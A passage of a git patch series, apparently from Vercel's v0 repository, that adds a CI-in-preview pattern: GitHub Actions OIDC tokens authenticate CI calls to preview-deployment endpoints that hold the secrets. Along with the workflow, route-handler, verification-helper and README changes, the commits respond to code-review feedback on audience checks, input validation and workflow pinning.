+**The deployment-protection bypass remains.** OIDC authenticates *who is calling*; it doesn't authenticate *how the call reaches the preview*. Every CI-in-preview call still sends `x-vercel-protection-bypass`. The bypass was already present for every preview-hitting workflow, so this is acceptable, but the coupling remains.
+
+**The PR comment URL discovery is a hack.** Relying on Vercel's PR-comment format is fragile if Vercel changes it. A platform-provided mechanism (a `wait-for-vercel-project` that uses OIDC, or an environment variable with the preview URL) would be preferable. No current version exists.
+
+**JWKS is fetched on cold starts.** `jose`'s module-level cache works within a single Lambda, but the first request after a cold start pays the JWKS fetch cost. Observed: ~200 ms. Acceptable; noted for performance-sensitive endpoints.
+
+**No automated secret rotation story yet.** If a preview env secret rotates, existing in-flight deployments still hold the old value until redeployed. For most uses this is fine (rotation is rare, redeploy propagates quickly). For secrets that must rotate atomically across many consumers, a push-based mechanism may be needed. Out of scope.
+
+**Fork PRs cannot mint org-scoped OIDC tokens.** Workflows that need to run on fork PRs have to skip the CI-in-preview step (`if: github.event.pull_request.head.repo.full_name == github.repository`). Fork PRs already can't run most of v0's CI, so this is not a new limitation.
+
+## Reference: current instances
+
+| Endpoint | Route | Workflow | Status |
+|---|---|---|---|
+| `flags/encrypt-override` | [`chat/app/api/~/ci/flags/encrypt-override/route.ts`](../chat/app/api/~/ci/flags/encrypt-override/route.ts) | [`ci-in-preview-smoke.yaml`](../.github/workflows/ci-in-preview-smoke.yaml) | Prototype, unmerged ([#23333](https://github.com/vercel/v0/pull/23333)) |
\ No newline at end of file
From d9602b3da4ae8f2bd2f1cbeb2663baee1312efa1 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 10:35:34 -0700
Subject: [PATCH 06/17] ci: add pull-requests:read permission; clean stale
comment
The wait step uses `gh pr view --json comments` to discover the
preview URL. That requires pull-requests:read, which wasn't granted.
Also removes a stale comment referencing wait-for-vercel-project.
---
.github/workflows/ci-in-preview-smoke.yaml | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/.github/workflows/ci-in-preview-smoke.yaml b/.github/workflows/ci-in-preview-smoke.yaml
index 340256ee7d2d..8a5f3b4d6f5e 100644
--- a/.github/workflows/ci-in-preview-smoke.yaml
+++ b/.github/workflows/ci-in-preview-smoke.yaml
@@ -15,6 +15,7 @@ concurrency:
permissions:
id-token: write
contents: read
+ pull-requests: read # gh CLI needs this to list PR comments for preview-URL discovery
jobs:
smoke:
@@ -29,7 +30,6 @@ jobs:
uses: actions/checkout@v4
- name: Install dependencies
- # wait-for-vercel-project's bundle requires node_modules at runtime.
uses: ./.github/actions/install
with:
npm-token: ${{ secrets.NPM_TOKEN }}
From f494e7e40610cf2dfb72c2873d98f5b94da462ac Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 11:00:23 -0700
Subject: [PATCH 07/17] fix(microfrontends): route /api/~/* to v0chat
The new CI-in-preview endpoints live under /api/~/ci/* in v0chat. Without an
explicit routing entry in web/microfrontends.jsonc, the web/ fallback serves
those paths instead and they 404. Add /api/~/:path* to v0chat's routing.
---
web/microfrontends.jsonc | 2 ++
1 file changed, 2 insertions(+)
diff --git a/web/microfrontends.jsonc b/web/microfrontends.jsonc
index 00157ebf41a9..2cbd4a48e8ea 100644
--- a/web/microfrontends.jsonc
+++ b/web/microfrontends.jsonc
@@ -20,6 +20,8 @@
"/",
// enumerates all the /api/**/route.ts files that are part of chat
// since we can't conflict with web's /api/**/route.ts
+ // CI-in-preview endpoints (see system-docs/README-CI-IN-PREVIEW-PATTERN.md)
+ "/api/~/:path*",
"/api/auth/:path*",
"/api/chat/:path*",
"/api/chats/:path*",
From cdeb21e6582739a3c1c534580665119b1fb05de5 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 11:03:18 -0700
Subject: [PATCH 08/17] fix(ci): mint OIDC token after preview wait, not before
GH Actions OIDC tokens expire in ~5 minutes. The preview deployment
wait can take up to 15 minutes on a cold build. Minting before the wait
means the token has expired before the next step uses it.
Caught by Vercel agent review on PR #23333.
---
.github/workflows/ci-in-preview-smoke.yaml | 39 ++++++++++++----------
1 file changed, 21 insertions(+), 18 deletions(-)
diff --git a/.github/workflows/ci-in-preview-smoke.yaml b/.github/workflows/ci-in-preview-smoke.yaml
index 8a5f3b4d6f5e..931e239c11e5 100644
--- a/.github/workflows/ci-in-preview-smoke.yaml
+++ b/.github/workflows/ci-in-preview-smoke.yaml
@@ -34,24 +34,6 @@ jobs:
with:
npm-token: ${{ secrets.NPM_TOKEN }}
- - name: Mint GitHub Actions OIDC token
- run: |
- set -euo pipefail
- # Endpoint-specific audience — matches the route's GITHUB_OIDC_AUDIENCE.
- # A token with this audience is only valid against this one endpoint.
- audience='https://v0.app/api/~/ci/flags/encrypt-override'
- response=$(curl -sSL \
- -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
- "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=${audience}")
- token=$(echo "$response" | jq -r '.value')
- if [ -z "$token" ] || [ "$token" = "null" ]; then
- echo "Failed to mint OIDC token"
- echo "$response"
- exit 1
- fi
- echo "::add-mask::$token"
- echo "GH_OIDC_TOKEN=$token" >> "$GITHUB_ENV"
-
- name: Wait for v0chat preview
id: wait_for_chat
env:
@@ -96,6 +78,27 @@ jobs:
echo "::error::Preview URL not found or not reachable within 15 minutes"
exit 1
+ - name: Mint GitHub Actions OIDC token
+ # Minted AFTER the preview wait because GH-OIDC tokens expire in ~5m and
+ # the wait can take up to 15m on a cold deploy. Minting here guarantees
+ # the token is fresh when the next step uses it.
+ run: |
+ set -euo pipefail
+ # Endpoint-specific audience — matches the route's GITHUB_OIDC_AUDIENCE.
+ # A token with this audience is only valid against this one endpoint.
+ audience='https://v0.app/api/~/ci/flags/encrypt-override'
+ response=$(curl -sSL \
+ -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
+ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=${audience}")
+ token=$(echo "$response" | jq -r '.value')
+ if [ -z "$token" ] || [ "$token" = "null" ]; then
+ echo "Failed to mint OIDC token"
+ echo "$response"
+ exit 1
+ fi
+ echo "::add-mask::$token"
+ echo "GH_OIDC_TOKEN=$token" >> "$GITHUB_ENV"
+
- name: Call encrypt-override endpoint
env:
CHAT_URL: ${{ steps.wait_for_chat.outputs.deployment-url }}
From e5df30280cfc169932a2f109f2c40958ea2b73dc Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 11:35:14 -0700
Subject: [PATCH 09/17] chore: apply oxfmt to ci-in-preview files
Auto-format bot can't push to .github/workflows/* without workflow scope,
so run the formatter locally. All changes are mechanical (whitespace,
line wrapping, markdown emphasis style). No semantic changes.
---
.github/workflows/ci-in-preview-smoke.yaml | 2 +-
.../api/~/ci/flags/encrypt-override/route.ts | 3 +--
packages/shared/lib/ci-oidc.ts | 5 ++++-
system-docs/README-CI-IN-PREVIEW-PATTERN.md | 17 +++++++++--------
4 files changed, 15 insertions(+), 12 deletions(-)
diff --git a/.github/workflows/ci-in-preview-smoke.yaml b/.github/workflows/ci-in-preview-smoke.yaml
index 931e239c11e5..c8308b46c18c 100644
--- a/.github/workflows/ci-in-preview-smoke.yaml
+++ b/.github/workflows/ci-in-preview-smoke.yaml
@@ -15,7 +15,7 @@ concurrency:
permissions:
id-token: write
contents: read
- pull-requests: read # gh CLI needs this to list PR comments for preview-URL discovery
+ pull-requests: read # gh CLI needs this to list PR comments for preview-URL discovery
jobs:
smoke:
diff --git a/chat/app/api/~/ci/flags/encrypt-override/route.ts b/chat/app/api/~/ci/flags/encrypt-override/route.ts
index 8be5b574bc57..c8551167e51a 100644
--- a/chat/app/api/~/ci/flags/encrypt-override/route.ts
+++ b/chat/app/api/~/ci/flags/encrypt-override/route.ts
@@ -12,8 +12,7 @@ import { verifyGitHubActionsOIDC } from '@internal/shared/lib/ci-oidc'
// Endpoint-specific OIDC audience. Matches the route URL so each CI-in-preview
// endpoint has its own token scope: a token minted for this endpoint can't be
// replayed against a different one, even within the same repo.
-const GITHUB_OIDC_AUDIENCE =
- 'https://v0.app/api/~/ci/flags/encrypt-override'
+const GITHUB_OIDC_AUDIENCE = 'https://v0.app/api/~/ci/flags/encrypt-override'
const ALLOWED_REPOSITORIES = ['vercel/v0'] as const
export async function POST(request: Request) {
diff --git a/packages/shared/lib/ci-oidc.ts b/packages/shared/lib/ci-oidc.ts
index e46136ae3cd8..f1de1ad29a5f 100644
--- a/packages/shared/lib/ci-oidc.ts
+++ b/packages/shared/lib/ci-oidc.ts
@@ -43,7 +43,10 @@ export type VerifyGitHubActionsOidcOptions = {
export type VerifyGitHubActionsOidcResult =
| { ok: true; payload: GitHubActionsOidcPayload }
- | { ok: false; reason: 'invalid_token' | 'repo_mismatch' | 'workflow_mismatch' }
+ | {
+ ok: false
+ reason: 'invalid_token' | 'repo_mismatch' | 'workflow_mismatch'
+ }
export async function verifyGitHubActionsOIDC(
token: string,
diff --git a/system-docs/README-CI-IN-PREVIEW-PATTERN.md b/system-docs/README-CI-IN-PREVIEW-PATTERN.md
index bb04ad8fa0ca..e4aabc049397 100644
--- a/system-docs/README-CI-IN-PREVIEW-PATTERN.md
+++ b/system-docs/README-CI-IN-PREVIEW-PATTERN.md
@@ -47,9 +47,9 @@ After (secrets in preview endpoints):
- An attacker who wants to exfiltrate the secret has to commit code to a preview-deployed app that exposes the secret. That code passes through ordinary code review. The secret's value is never accessible to workflow-level code.
-The set of people authorized to do this work doesn't shrink. The *channel* they have to go through shrinks from "any workflow YAML update anywhere" to "code change reviewed as an app diff." This is the same structural move as pnpm's decision to disable npm postinstall scripts by default: the capability still exists, but access to it has to be expressed more intentionally.
+The set of people authorized to do this work doesn't shrink. The _channel_ they have to go through shrinks from "any workflow YAML update anywhere" to "code change reviewed as an app diff." This is the same structural move as pnpm's decision to disable npm postinstall scripts by default: the capability still exists, but access to it has to be expressed more intentionally.
-One residual coupling remains: the Vercel deployment-protection bypass (`DEPLOYMENT_PROTECTION_BYPASS`). CI needs this to reach preview deployments at all. OIDC proves *who is calling*; bypass gets past *network-level gating*. These are orthogonal. A future mechanism (OIDC-authenticated preview access) could eliminate the bypass, but that's platform work, not our work.
+One residual coupling remains: the Vercel deployment-protection bypass (`DEPLOYMENT_PROTECTION_BYPASS`). CI needs this to reach preview deployments at all. OIDC proves _who is calling_; bypass gets past _network-level gating_. These are orthogonal. A future mechanism (OIDC-authenticated preview access) could eliminate the bypass, but that's platform work, not our work.
## Architecture
@@ -91,7 +91,8 @@ export async function POST(request: Request) {
// 2. Verify OIDC.
const token = request.headers.get('x-github-oidc-token')
- if (!token) return NextResponse.json({ error: 'unauthorized' }, { status: 401 })
+ if (!token)
+ return NextResponse.json({ error: 'unauthorized' }, { status: 401 })
const verification = await verifyGitHubActionsOIDC(token, {
audience: GITHUB_OIDC_AUDIENCE,
allowedRepositories: ['vercel/v0'],
@@ -190,7 +191,7 @@ The Vercel PR comment contains the branch preview URL. Workflows can extract it
`GITHUB_TOKEN` is auto-provisioned to every workflow. No shared secret is consumed.
-The URL Vercel posts is a *branch alias*: it updates to the latest successful deploy for the branch. A workflow that polls this URL may briefly hit an older deployment before the new one completes. The `Call endpoint` step will either succeed (new deploy has the route) or fail with a clear 404 (old deploy; the new one hasn't aliased yet). Workflows that are sensitive to this can probe for a specific signature in the response.
+The URL Vercel posts is a _branch alias_: it updates to the latest successful deploy for the branch. A workflow that polls this URL may briefly hit an older deployment before the new one completes. The `Call endpoint` step will either succeed (new deploy has the route) or fail with a clear 404 (old deploy; the new one hasn't aliased yet). Workflows that are sensitive to this can probe for a specific signature in the response.
## Migration guidance
@@ -208,7 +209,7 @@ Each migration is a three-file change: one route added, one workflow updated, on
## Limits and open questions
-**The deployment-protection bypass remains.** OIDC authenticates *who is calling*; it doesn't authenticate *how the call reaches the preview*. Every CI-in-preview call still sends `x-vercel-protection-bypass`. The bypass was already present for every preview-hitting workflow, so this is acceptable, but the coupling remains.
+**The deployment-protection bypass remains.** OIDC authenticates _who is calling_; it doesn't authenticate _how the call reaches the preview_. Every CI-in-preview call still sends `x-vercel-protection-bypass`. The bypass was already present for every preview-hitting workflow, so this is acceptable, but the coupling remains.
**The PR comment URL discovery is a hack.** Relying on Vercel's PR-comment format is fragile if Vercel changes it. A platform-provided mechanism (a `wait-for-vercel-project` that uses OIDC, or an environment variable with the preview URL) would be preferable. No current version exists.
@@ -220,6 +221,6 @@ Each migration is a three-file change: one route added, one workflow updated, on
## Reference: current instances
-| Endpoint | Route | Workflow | Status |
-|---|---|---|---|
-| `flags/encrypt-override` | [`chat/app/api/~/ci/flags/encrypt-override/route.ts`](../chat/app/api/~/ci/flags/encrypt-override/route.ts) | [`ci-in-preview-smoke.yaml`](../.github/workflows/ci-in-preview-smoke.yaml) | Prototype, unmerged ([#23333](https://github.com/vercel/v0/pull/23333)) |
\ No newline at end of file
+| Endpoint | Route | Workflow | Status |
+| ------------------------ | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ----------------------------------------------------------------------- |
+| `flags/encrypt-override` | [`chat/app/api/~/ci/flags/encrypt-override/route.ts`](../chat/app/api/~/ci/flags/encrypt-override/route.ts) | [`ci-in-preview-smoke.yaml`](../.github/workflows/ci-in-preview-smoke.yaml) | Prototype, unmerged ([#23333](https://github.com/vercel/v0/pull/23333)) |
From 1d2876ebfe6c8996da89abcb56e094249e6f25e4 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 11:44:32 -0700
Subject: [PATCH 10/17] address Copilot review on #23333
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- ci-oidc.ts: audience mismatch fails JWT 'aud' claim validation, not
signature verification. Fix the JSDoc to avoid implying the signature
check depends on the audience value.
- route.ts: reject arrays in the 'flags' field. typeof [] === 'object'
so arrays slipped through the previous check, producing a cookie that
would fail at a later boundary. Extract 'flags' once and validate it
as its own block; smaller diff repetition too.
- ci-in-preview-smoke.yaml: drop the workflow_dispatch trigger. Later
steps rely on github.event.pull_request.number, which is empty on
manual dispatch — the job would pass the if: gate and then fail
silently at preview-URL discovery. Re-run is covered by GitHub's
built-in 'Re-run jobs' button.
---
.github/workflows/ci-in-preview-smoke.yaml | 3 +--
chat/app/api/~/ci/flags/encrypt-override/route.ts | 13 +++++--------
packages/shared/lib/ci-oidc.ts | 6 +++---
3 files changed, 9 insertions(+), 13 deletions(-)
diff --git a/.github/workflows/ci-in-preview-smoke.yaml b/.github/workflows/ci-in-preview-smoke.yaml
index c8308b46c18c..2007e5c6c169 100644
--- a/.github/workflows/ci-in-preview-smoke.yaml
+++ b/.github/workflows/ci-in-preview-smoke.yaml
@@ -6,7 +6,6 @@ on:
- packages/shared/lib/ci-oidc.ts
- chat/app/api/~/ci/flags/encrypt-override/route.ts
- .github/workflows/ci-in-preview-smoke.yaml
- workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
@@ -22,7 +21,7 @@ jobs:
name: Encrypt-override endpoint smoke
# Fork PRs can't mint OIDC tokens scoped to vercel/v0 and would be rejected
# by the route's repo check anyway. Skip cleanly.
- if: github.event.pull_request.head.repo.full_name == github.repository || github.event_name == 'workflow_dispatch'
+ if: github.event.pull_request.head.repo.full_name == github.repository
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
diff --git a/chat/app/api/~/ci/flags/encrypt-override/route.ts b/chat/app/api/~/ci/flags/encrypt-override/route.ts
index c8551167e51a..8730d1d4513d 100644
--- a/chat/app/api/~/ci/flags/encrypt-override/route.ts
+++ b/chat/app/api/~/ci/flags/encrypt-override/route.ts
@@ -48,17 +48,14 @@ export async function POST(request: Request) {
return NextResponse.json({ error: 'bad_request' }, { status: 400 })
}
- if (
- !body ||
- typeof body !== 'object' ||
- !('flags' in body) ||
- typeof (body as { flags: unknown }).flags !== 'object' ||
- (body as { flags: unknown }).flags === null
- ) {
+ if (!body || typeof body !== 'object' || !('flags' in body)) {
return NextResponse.json({ error: 'bad_request' }, { status: 400 })
}
- const flags = (body as { flags: Record<string, unknown> }).flags
+ const flags = (body as { flags: unknown }).flags
+ if (typeof flags !== 'object' || flags === null || Array.isArray(flags)) {
+ return NextResponse.json({ error: 'bad_request' }, { status: 400 })
+ }
const flagsSecret = process.env.FLAGS_SECRET
if (!flagsSecret) {
diff --git a/packages/shared/lib/ci-oidc.ts b/packages/shared/lib/ci-oidc.ts
index f1de1ad29a5f..ac68d5790f9c 100644
--- a/packages/shared/lib/ci-oidc.ts
+++ b/packages/shared/lib/ci-oidc.ts
@@ -21,9 +21,9 @@ export type GitHubActionsOidcPayload = JWTPayload & {
export type VerifyGitHubActionsOidcOptions = {
/**
* Endpoint-specific audience. Tokens minted for a different audience will
- * fail signature verification. Use the route URL as the audience so each
- * endpoint has its own token scope (e.g. cross-endpoint token reuse is
- * structurally impossible).
+ * fail JWT `aud` claim validation. Use the route URL as the audience so
+ * each endpoint has its own token scope (e.g. cross-endpoint token reuse
+ * is structurally impossible).
*/
audience: string
From 505ba736a37c137d078fe5a70db5829df6a52446 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 12:59:53 -0700
Subject: [PATCH 11/17] pin encrypt-override to ci-in-preview-smoke workflow +
clarify pattern doc
route.ts: add ALLOWED_WORKFLOW_REFS pinning the endpoint to the smoke
workflow. Path-only prefix (no ref suffix), so PR runs of the pinned
workflow still match.
README: rewrite 'Choosing workflow restrictions' section. The old
read/write classification was leaning on a wrong mental model -- it
implied pinning stops abuse, when really it only makes the allowed
caller set visible. New rule: always pin. New section is honest about
what pinning does and does not defend against.
Migration list item 5 reworded so it no longer implies items 1-4 skip
pinning. Two new bullets in 'Limits and open questions' cover the
in-PR exploitation class and a future direction (require allowlist
additions to precede their callers, once the migration list is
through).
---
.../api/~/ci/flags/encrypt-override/route.ts | 7 ++++++
system-docs/README-CI-IN-PREVIEW-PATTERN.md | 24 ++++++++++++-------
2 files changed, 23 insertions(+), 8 deletions(-)
diff --git a/chat/app/api/~/ci/flags/encrypt-override/route.ts b/chat/app/api/~/ci/flags/encrypt-override/route.ts
index 8730d1d4513d..1d17bb0a1b4d 100644
--- a/chat/app/api/~/ci/flags/encrypt-override/route.ts
+++ b/chat/app/api/~/ci/flags/encrypt-override/route.ts
@@ -14,6 +14,12 @@ import { verifyGitHubActionsOIDC } from '@internal/shared/lib/ci-oidc'
// replayed against a different one, even within the same repo.
const GITHUB_OIDC_AUDIENCE = 'https://v0.app/api/~/ci/flags/encrypt-override'
const ALLOWED_REPOSITORIES = ['vercel/v0'] as const
+// Workflows allowed to call this endpoint. See the CI-in-Preview Pattern doc
+// ("Choosing workflow restrictions") for what this allowlist does and does not
+// defend against.
+const ALLOWED_WORKFLOW_REFS = [
+ 'vercel/v0/.github/workflows/ci-in-preview-smoke.yaml',
+] as const
export async function POST(request: Request) {
// Preview-only. Production must not expose this route.
@@ -29,6 +35,7 @@ export async function POST(request: Request) {
const verification = await verifyGitHubActionsOIDC(token, {
audience: GITHUB_OIDC_AUDIENCE,
allowedRepositories: ALLOWED_REPOSITORIES,
+ allowedWorkflowRefs: ALLOWED_WORKFLOW_REFS,
})
if (!verification.ok) {
diff --git a/system-docs/README-CI-IN-PREVIEW-PATTERN.md b/system-docs/README-CI-IN-PREVIEW-PATTERN.md
index e4aabc049397..746e33937044 100644
--- a/system-docs/README-CI-IN-PREVIEW-PATTERN.md
+++ b/system-docs/README-CI-IN-PREVIEW-PATTERN.md
@@ -96,7 +96,7 @@ export async function POST(request: Request) {
const verification = await verifyGitHubActionsOIDC(token, {
audience: GITHUB_OIDC_AUDIENCE,
allowedRepositories: ['vercel/v0'],
- // allowedWorkflowRefs optional, see "Choosing workflow restrictions" below
+ allowedWorkflowRefs: ['vercel/v0/.github/workflows/<workflow>.yaml'],
})
if (!verification.ok) {
return NextResponse.json({ error: 'unauthorized' }, { status: 401 })
@@ -146,17 +146,21 @@ Sensitive secrets that the endpoint uses live in the Vercel project's preview en
## Choosing workflow restrictions
-Endpoints fall into two rough classes:
+Every endpoint accepts an `allowedWorkflowRefs` allowlist. What it does, and what it doesn't:
-**Read-only endpoints** (return data derived from a secret without persistent side effects). Example: `encrypt-override` takes flags and returns an encrypted cookie. The caller could already compute the same cookie given the secret; the endpoint removes the need to hold it. Blast radius of misuse: small.
+**What pinning does.** It enumerates the set of workflows that can call the endpoint, in the endpoint's own source file. A reviewer auditing "what can reach this endpoint?" reads one file — the route — rather than grepping `.github/workflows/`. Adding a new caller requires a diff to the route that a reviewer sees alongside the new workflow.
-For these, `allowedWorkflowRefs` can be unset. `allowedRepositories` is sufficient.
+**What pinning does not do.** It does not defend against a committer who adds a new workflow and updates the allowlist in the same PR. That case reduces to the same review gate every new workflow file already faces. Pinning is about concentrating the attack surface, not about adding a cryptographic barrier against insider misuse.
-**Write endpoints** (mutate state, call external services with side effects). Example: a hypothetical `cleanup-test-user` that deletes records in KV. Blast radius of misuse: larger.
+**Rule: always pin.** Every endpoint gets an allowlist. If a future endpoint turns out to have a legitimate reason to skip pinning, we can revisit this rule and describe the exception.
-For these, set `allowedWorkflowRefs` to the specific workflow files that legitimately call the endpoint. Misuse then requires modifying one of those workflow files, which shows up in PR diffs as a workflow change. Reviewers pay different attention to workflow diffs than to application code.
+**How to pin.** Prefix-match against `workflow_ref`, stopping at the workflow path:
-When in doubt, pin. Unpinning is a one-line change if it turns out to be over-restrictive.
+```ts
+allowedWorkflowRefs: ['vercel/v0/.github/workflows/my-workflow.yaml']
+```
+
+No ref suffix (`@refs/heads/main`, etc.). A ref-suffixed prefix would reject tokens from PR runs of the pinned workflow, which would break the ability to smoke-test workflow changes on a preview deployment. That tradeoff is not worth it: the guarantee ref-pinning would add (refusing PR runs of the workflow) collapses into the same one-PR-that-touches-two-files problem that the allowlist doesn't solve anyway.
## Discovering the preview URL
@@ -203,7 +207,7 @@ Good candidates to migrate, in rough priority order:
2. **Test session encryption** (`encrypt-session`). Replaces inline `encryptCookie(session)` using `JWE_SECRET_SESSION`.
3. **Test user token minting.** Replaces PATs stored in GH secrets.
4. **Testserver provisioning.** Wraps `testserver.vercel.sh/create-testserver` so the bypass secret stays in preview env.
-5. **Test cleanup operations** (`cleanup-test-user`, `cleanup-kv`). Write endpoints; use `allowedWorkflowRefs` pinning.
+5. **Test cleanup operations** (`cleanup-test-user`, `cleanup-kv`). Destructive: cleanup actions delete records. Worth more review attention than endpoints that only encrypt a value.
Each migration is a three-file change: one route added, one workflow updated, one setup script updated. Tests should continue working in both modes during migration (old secret-pull path and new endpoint path both read-available).
@@ -219,6 +223,10 @@ Each migration is a three-file change: one route added, one workflow updated, on
**Fork PRs cannot mint org-scoped OIDC tokens.** Workflows that need to run on fork PRs have to skip the CI-in-preview step (`if: github.event.pull_request.head.repo.full_name == github.repository`). Fork PRs already can't run most of v0's CI, so this is not a new limitation.
+**Workflow-ref pinning does not stop in-PR exploitation.** A committer who adds a new workflow and updates an endpoint's `allowedWorkflowRefs` in the same PR bypasses the allowlist. Pinning makes the caller set locally evident, not cryptographically enforced.
+
+**Future: require allowlist changes to precede their callers.** Requiring `allowedWorkflowRefs` additions to land on `main` before the workflow that references them closes the in-PR-exploitation class above. Cost: one extra PR per new consumer, not per workflow edit. Right now every migration step adds a consumer, so this rule would roughly double the migration arc. Once the migration list (see "Migration guidance") is through, new consumers become rare and the cost approaches zero — that's the point to adopt this rule.
+
## Reference: current instances
| Endpoint | Route | Workflow | Status |
From a3b53c2b61e006d4f046142a399b675e2c3e4d1e Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 13:17:09 -0700
Subject: [PATCH 12/17] align allowedWorkflowRefs JSDoc with actual behavior
The JSDoc described an '@-aware prefix match' feature that the
implementation does not have -- it's plain startsWith. The JSDoc
also recommended passing the full workflow_ref including
@refs/heads/main, which the CI-in-preview README now explicitly
advises against.
Rewrite the JSDoc to describe what the code actually does and
point to the README for the tradeoff discussion.
---
packages/shared/lib/ci-oidc.ts | 14 ++++++++------
1 file changed, 8 insertions(+), 6 deletions(-)
diff --git a/packages/shared/lib/ci-oidc.ts b/packages/shared/lib/ci-oidc.ts
index ac68d5790f9c..ea21c0802258 100644
--- a/packages/shared/lib/ci-oidc.ts
+++ b/packages/shared/lib/ci-oidc.ts
@@ -31,12 +31,14 @@ export type VerifyGitHubActionsOidcOptions = {
allowedRepositories: readonly string[]
/**
- * Optional: only accept tokens minted from these workflows. Use when an
- * endpoint has side effects and reviewers should see workflow changes in
- * diffs. Pass `workflow_ref`-style strings like
- * `vercel/v0/.github/workflows/my-workflow.yaml@refs/heads/main`; any prefix
- * (before the `@`) match against `payload.workflow_ref` counts. Leave
- * undefined to accept any workflow in `allowedRepositories`.
+ * Optional: only accept tokens whose `workflow_ref` starts with one of
+ * these prefixes. Prefixes are matched with plain `startsWith`, so the
+ * usual shape is a workflow path without a ref suffix, e.g.
+ * `vercel/v0/.github/workflows/my-workflow.yaml` — this matches the
+ * workflow regardless of the git ref that triggered the run. See the
+ * CI-in-Preview Pattern doc ("Choosing workflow restrictions") for the
+ * tradeoffs. Leave undefined to accept any workflow in
+ * `allowedRepositories`.
*/
allowedWorkflowRefs?: readonly string[]
}
From 7688be2d585cd02d79f06b6f276cde91e82c4e96 Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 13:19:53 -0700
Subject: [PATCH 13/17] address Copilot review: timeless doc phrasing + narrow
microfrontends route
README header: drop 'Status: draft' + specific PR reference. Replace
with a one-paragraph statement of what the pattern is. The PR
reference stays in the 'Reference: current instances' table, which
is the right place for it.
Reference table: 'Prototype, unmerged' -> 'Reference implementation'.
Timeless after merge.
web/microfrontends.jsonc: narrow '/api/~/:path*' to '/api/~/ci/:path*'.
The pattern only uses /api/~/ci/*, so narrower is better -- leaves
room for non-CI /api/~/* uses on web without a routing conflict.
---
system-docs/README-CI-IN-PREVIEW-PATTERN.md | 8 ++++----
web/microfrontends.jsonc | 2 +-
2 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/system-docs/README-CI-IN-PREVIEW-PATTERN.md b/system-docs/README-CI-IN-PREVIEW-PATTERN.md
index 746e33937044..2deb497e3830 100644
--- a/system-docs/README-CI-IN-PREVIEW-PATTERN.md
+++ b/system-docs/README-CI-IN-PREVIEW-PATTERN.md
@@ -1,6 +1,6 @@
# CI-in-Preview Pattern
-**Status:** draft. One verified prototype ([PR #23333](https://github.com/vercel/v0/pull/23333)) implementing the first endpoint. This document describes the pattern that prototype is the first instance of.
+Authenticated operations that require a sensitive secret run on the preview deployment, not in CI. CI authenticates via GitHub Actions OIDC, the deployment holds the secret, and CI never sees it.
## Problem
@@ -229,6 +229,6 @@ Each migration is a three-file change: one route added, one workflow updated, on
## Reference: current instances
-| Endpoint | Route | Workflow | Status |
-| ------------------------ | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ----------------------------------------------------------------------- |
-| `flags/encrypt-override` | [`chat/app/api/~/ci/flags/encrypt-override/route.ts`](../chat/app/api/~/ci/flags/encrypt-override/route.ts) | [`ci-in-preview-smoke.yaml`](../.github/workflows/ci-in-preview-smoke.yaml) | Prototype, unmerged ([#23333](https://github.com/vercel/v0/pull/23333)) |
+| Endpoint | Route | Workflow | Status |
+| ------------------------ | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
+| `flags/encrypt-override` | [`chat/app/api/~/ci/flags/encrypt-override/route.ts`](../chat/app/api/~/ci/flags/encrypt-override/route.ts) | [`ci-in-preview-smoke.yaml`](../.github/workflows/ci-in-preview-smoke.yaml) | Reference implementation ([#23333](https://github.com/vercel/v0/pull/23333)) |
diff --git a/web/microfrontends.jsonc b/web/microfrontends.jsonc
index 2cbd4a48e8ea..d46cacc5299a 100644
--- a/web/microfrontends.jsonc
+++ b/web/microfrontends.jsonc
@@ -21,7 +21,7 @@
// enumerates all the /api/**/route.ts files that are part of chat
// since we can't conflict with web's /api/**/route.ts
// CI-in-preview endpoints (see system-docs/README-CI-IN-PREVIEW-PATTERN.md)
- "/api/~/:path*",
+ "/api/~/ci/:path*",
"/api/auth/:path*",
"/api/chat/:path*",
"/api/chats/:path*",
From 6305466058d492b434a6d1fe315702d9685cd38b Mon Sep 17 00:00:00 2001
From: Yehuda Katz <[email protected]>
Date: Wed, 22 Apr 2026 13:33:15 -0700
Subject: [PATCH 14/17] refactor(test): extract next/server mock helper
Pull the MockNextResponse boilerplate out of the screenshot-token
route test into chat/lib/test/next-server-mock.ts so other CI-in-preview
route tests can share it.
---
.../app/api/v0/screenshot-token/route.test.ts | 19 ++----------
chat/lib/test/next-server-mock.ts | 30 +++++++++++++++++++
2 files changed, 33 insertions(+), 16 deletions(-)
create mode 100644 chat/lib/test/next-server-mock.ts
diff --git a/chat/app/api/v0/screenshot-token/route.test.ts b/chat/app/api/v0/screenshot-token/route.test.ts
index af65f9f20c4d..c248a3c73ad3 100644
--- a/chat/app/api/v0/screenshot-token/route.test.ts
+++ b/chat/app/api/v0/screenshot-token/route.test.ts
@@ -1,21 +1,8 @@
import { beforeEach, describe, expect, it, vi } from 'vitest'
-vi.mock('next/server', () => {
- class MockNextResponse extends Response {
- static json(data: unknown, init?: ResponseInit) {
- const headers = new Headers(init?.headers)
- headers.set('content-type', 'application/json')
-
- return new MockNextResponse(JSON.stringify(data), {
- ...init,
- headers,
- })
